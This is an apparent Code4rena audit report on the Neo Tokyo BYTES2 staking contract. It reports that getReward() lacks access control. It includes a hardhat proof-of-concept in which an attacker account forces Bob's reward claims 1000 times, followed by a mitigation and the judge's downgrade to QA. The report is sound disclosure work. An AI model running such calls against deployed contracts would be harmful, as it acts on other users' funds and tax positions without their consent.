`BYTES2.getReward()` should be access-controlled

[code423n4]

Lines of code

https://github.com/code-423n4/2023-03-neotokyo/blob/main/README.md?plain=1#L79 https://github.com/code-423n4/2023-03-neotokyo/blob/main/README.md?plain=1#L122 https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/s1/NTCitizenDeploy.sol#L1621-L1625 https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1414-L1416 https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/BYTES2.sol#L109-L110 https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/BYTES2.sol#L114-L129

Vulnerability details

The access control mechanism is badly implemented on BYTES2.getReward(). Due to that, anyone can trigger NeoTokyoStaker.claimReward for any staker at any time. This behaviour/flow isn't documented and this new flow was actually made to replace the old one, which could only claim on msg.sender's behalf

Impact

Acting over someone's money without their consent.

Proof of Concept

1) Notice that NeoTokyoStaker.claimReward can only be called by BYTES:

• https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1414-L1416

File: NeoTokyoStaker.sol
1409:  function claimReward (
1410:   address _recipient
1411:  ) external returns (uint256, uint256) {
1412: 
1413:   // This function may only be called by the BYTES contract.
1414:   if (msg.sender != BYTES) {
1415:    revert CallerIsNotBYTES();
1416:   }

2) Notice with the following comment that it's expected that BYTES2.getReward() should be access controlled:

    This function is called by the S1 Citizen contract to emit BYTES to callers 
    based on their state from the staker contract.

3) Notice that the whole BYTES2.getReward() method isn't access controlled. The call to NeoTokyoStaker.claimReward will be made from the BYTES2 contract's context, meaning that msg.sender == BYTES will be true for any caller inside NeoTokyoStaker.claimReward:

• https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/BYTES2.sol#L114-L129

 function getReward (
  address _to
 ) external {
  (
   uint256 reward,
   uint256 daoCommision
  ) = IStaker(STAKER).claimReward(_to);

  // Mint both reward BYTES and the DAO tax to targeted recipients.
  if (reward > 0) {
   _mint(_to, reward);
  }
  if (daoCommision > 0) {
   _mint(TREASURY, daoCommision);
  }
 }

4) Notice that, in the tests, getReward() is always called through NTCitizenDeploy, whereas nothing prevents a direct call to NTBytes2_0, but we never see such a direct call being made in those tests.

5) Inject the following coded POC:

diff --git a/test/NeoTokyoStaker.test.js b/test/NeoTokyoStaker.test.js
index 231f47d..5fded43 100644
--- a/test/NeoTokyoStaker.test.js
+++ b/test/NeoTokyoStaker.test.js
@@ -24,7 +24,7 @@ describe('Testing BYTES 2.0 & Neo Tokyo Staker', function () {
        let currentTime, snapshotId;

        // Prepare several testing callers.
-       let owner, alice, bob, nonCitizen, whale, treasury;
+       let owner, alice, bob, nonCitizen, whale, treasury, attacker;

        // Neo Tokyo S1 contract instances.
        let beckLoot, NTItems, NTLandDeploy, vaultBox, NTCitizenDeploy, NTOldBytes;
@@ -76,6 +76,11 @@ describe('Testing BYTES 2.0 & Neo Tokyo Staker', function () {
                        signer: signers[5],
                        address: addresses[5]
                };
+               attacker = {
+                       provider: signers[6].provider,
+                       signer: signers[6],
+                       address: addresses[6]
+               };

                // Prepare all of the Neo Tokyo S1, S2, and new contracts for testing.
                [
@@ -558,7 +563,7 @@ describe('Testing BYTES 2.0 & Neo Tokyo Staker', function () {
                });

                // Simulate a competitive staking scenario between Alice and Bob.
-               it('a comprehensive happy-path test', async function () {
+               it.only('a comprehensive happy-path test', async function () {

                        // Bob stakes his S1 Citizen.
                        await NTStaking.connect(bob.signer).stake(
@@ -654,6 +659,16 @@ describe('Testing BYTES 2.0 & Neo Tokyo Staker', function () {
                        let bobBalanceInitial = await NTBytes2_0.balanceOf(bob.address);
                        let aliceBalanceInitial = await NTBytes2_0.balanceOf(alice.address);

+                       // Simulate an attacker directly calling NTBytes2_0's getReward() with Bob's address after just 1h. The attacker is calling 1000 times here
+                       console.log("attacker call start");
+                       await ethers.provider.send('evm_setNextBlockTimestamp', [
+                               bobStakeTime + (60 * 60 * 1)
+                       ]);
+                       for (let i = 0; i < 1000; ++i) {
+                               await NTBytes2_0.connect(attacker.signer).getReward(bob.address);
+                         }
+                       console.log("attacker call end");
+```

6) Inject the following console.logs from hardhat to see what's happening:

• File: BYTES2.sol:

+ 6: import "hardhat/console.sol";
...
115:  function getReward ( 
116:   address _to 
117:  ) external {
118:   (
119:    uint256 reward,
120:    uint256 daoCommision
121:   ) = IStaker(STAKER).claimReward(_to);  
122: 
123:   // Mint both reward BYTES and the DAO tax to targeted recipients.
124:   if (reward > 0) {
+ 125:    console.log("reward: ", reward);
126:    _mint(_to, reward); 
+ 127:    console.log("balanceOf(bob): ", balanceOf(_to));
128:   }
129:   if (daoCommision > 0) {
+ 130:    console.log("daoCommision: ", daoCommision);
131:    _mint(TREASURY, daoCommision);
+ 132:    console.log("balanceOf(TREASURY): ", balanceOf(TREASURY));
133:   }
134:  }  

• File: NeoTokyoStaker.sol

+ 9: import "hardhat/console.sol";
...
1419:   // Retrieve the `_recipient` reward share from each pool.
1420:   (uint256 s1Reward, uint256 s1Tax) = getPoolReward(
1421:    AssetType.S1_CITIZEN,
1422:    _recipient
1423:   );
+ 1424:   console.log("s1Reward: ", s1Reward);
+ 1425:   console.log("s1Tax: ", s1Tax);
1426:   (uint256 s2Reward, uint256 s2Tax) = getPoolReward(
1427:    AssetType.S2_CITIZEN,
1428:    _recipient
1429:   );
+ 1430:   console.log("s2Reward: ", s2Reward);
+ 1431:   console.log("s2Tax: ", s2Tax);
1432:   (uint256 lpReward, uint256 lpTax) = getPoolReward(
1433:    AssetType.LP,
1434:    _recipient
1435:   );
+ 1436:   console.log("lpReward: ", lpReward);
+ 1437:   console.log("lpTax: ", lpTax);

7) Run npx hardhat test and see the following output:

attacker call start
s1Reward:  743295019152999739
s1Tax:  22988505746999991
s2Reward:  0
s2Tax:  0
lpReward:  0
lpTax:  0
reward:  743295019152999739
balanceOf(bob):  4562743295019152999739
daoCommision:  22988505746999991
balanceOf(TREASURY):  23041115174609365
s1Reward:  206470838653611
s1Tax:  6385696040833
s2Reward:  0
s2Tax:  0
lpReward:  0
lpTax:  0
reward:  206470838653611
balanceOf(bob):  4562743501489991653350
daoCommision:  6385696040833
balanceOf(TREASURY):  23047500870650198
s1Reward:  206470838653611
s1Tax:  6385696040833
s2Reward:  0
s2Tax:  0
lpReward:  0
lpTax:  0
reward:  206470838653611
balanceOf(bob):  4562743707960830306961
daoCommision:  6385696040833
balanceOf(TREASURY):  23053886566691031
... (a few moments later)
balanceOf(bob):  4562949352916129303517
daoCommision:  6385696040833
balanceOf(TREASURY):  29414039823360699
s1Reward:  206470838653611
s1Tax:  6385696040833
s2Reward:  0
s2Tax:  0
lpReward:  0
lpTax:  0
reward:  206470838653611
balanceOf(bob):  4562949559386967957128
daoCommision:  6385696040833
balanceOf(TREASURY):  29420425519401532
attacker call end

For a better readability on the fact that the balances are increasing every time with the Attacker's calls, here are the values grouped together:

reward:    743295019152999739
s1Reward:  743295019152999739
reward:    206470838653611
s1Reward:  206470838653611

daoCommision:  22988505746999991
s1Tax:         22988505746999991
daoCommision:  6385696040833
s1Tax:         6385696040833

balanceOf(bob):  4562743295019152999739
balanceOf(bob):  4562743501489991653350
balanceOf(bob):  4562743707960830306961
... (a few moments later)
balanceOf(bob):  4562949352916129303517
balanceOf(bob):  4562949559386967957128

balanceOf(TREASURY):  23041115174609365
balanceOf(TREASURY):  23047500870650198
balanceOf(TREASURY):  23053886566691031
... (a few moments later)
balanceOf(TREASURY):  29414039823360699
balanceOf(TREASURY):  29420425519401532

What's happening here is that an attacker is spamming BYTES2.getReward() over 1000 transactions to trigger the reward-claiming mechanism for Bob.

While the assets aren't at risk (Bob is still receiving the right amount of rewards, albeit not when he choses to), this is an unexpectedly opened flow that can be very annoying to users and that can be damaging in unforeseen ways.

A staker might have their own reasons and restrictions (taxes, accounting, strategy) for not claiming their reward before a certain date. Imagine the following:

• Alice has a simplified company status in her country (individual entrepreneur)
• It's December 31st 2023 and Alice kept her earnings for 2023 within the allowed limits so as to not have to change her company's status in 2024
• Alice is keenly waiting for January 1st 2024 to claim her longly accumulated rewards and start the new year strongly
• Bob calls BYTES2.getReward() with Alice's address during December 31st 2023, forcing her to claim her rewards
• Alice will now need to change her company's status in 2024 due to having earned too much in 2023. And she'll need to declare her taxes with what happened. Perhaps even with 1000 transactions as seen in the POCs, making her accountant unhappy.

While the above might look funny, this is still in the domain of acting over someone's money without their consent.

Another scenario, more technical, might be one of a bot written by Alice which would be waiting for a certain threshold of rewards to be crossed before claiming it and moving it strategically to maximize her profits. However, the unexpected multiple claimings from unknown entities would prevent her from doing what she wanted to do with her bot.

Tools Used

Manual review

Recommended Mitigation Steps

Direct calls to BYTES2.getReward() are used at multiple places in the code (in both NTCitizenDeploy and NeoTokyoStaker), which are fine with the flows documented. However, giving the possibility for anyone to claim on behalf of anyone is wrong, especially if the stakers aren't aware of this possibility. If one wanted to argue that this was a feature and not a bug, this should've been fully documented.

Consider only allowing Citizens, the Staker contract and msg.sender == _to to call BYTES2.getReward():

 function getReward (
  address _to
 ) external {
+        require(msg.sender == STAKER || msg.sender == S1_CITIZEN || msg.sender == _to, "unauthorized caller");

[c4-judge]

hansfriese marked the issue as satisfactory

[c4-judge]

hansfriese marked the issue as primary issue

[TimTinkers]

Your write-up and jurisdictional tax argument is appreciated as a good read, though I argue that

• it is out of scope with regards to the goals of ensuring the correct behavior of this staker and its emissions
• the behavior of the old BYTES1 flow should have no bearing on this upgrade's new behavior
• and that:

  This function is called by the S1 Citizen contract to emit BYTES to callers based on their state from the staker contract.

Doesn't mean anything regarding a direct call to BYTES2 claiming being a bug. In fact, we even documented this in the contest README.

BYTE2.getReward, which is intended to be the primary entry-point for a staking caller to claim earned BYTES 2.0 tokens.

Given the fact that this guard doesn't result in anyone actually losing money, I don't think this is a medium severity issue. This is a QA concern at best.

---

As a side note: this guard was intentionally removed to save gas when calling getReward. We are of the mind that there is no point in optimizing for jurisdictional tax concerns at the expense of global gas concerns. Given the push nature of payments in Ethereum, if I wanted to troll you for tax purposes, I have infinite options at my disposal regardless of any mitigation in this contract. I am not an accountant. I've consulted enough accountants to know that this remains a grey area with actively-evolving tax policy and the situation you described may not necessarily be interpreted that way by, for example, the United States IRS.

[c4-sponsor]

TimTinkers marked the issue as disagree with severity

[hansfriese]

Thanks for your detailed explanation.

[c4-judge]

hansfriese changed the severity to QA (Quality Assurance)

[c4-judge]

hansfriese marked the issue as grade-a

[c4-sponsor]

TimTinkers marked the issue as sponsor acknowledged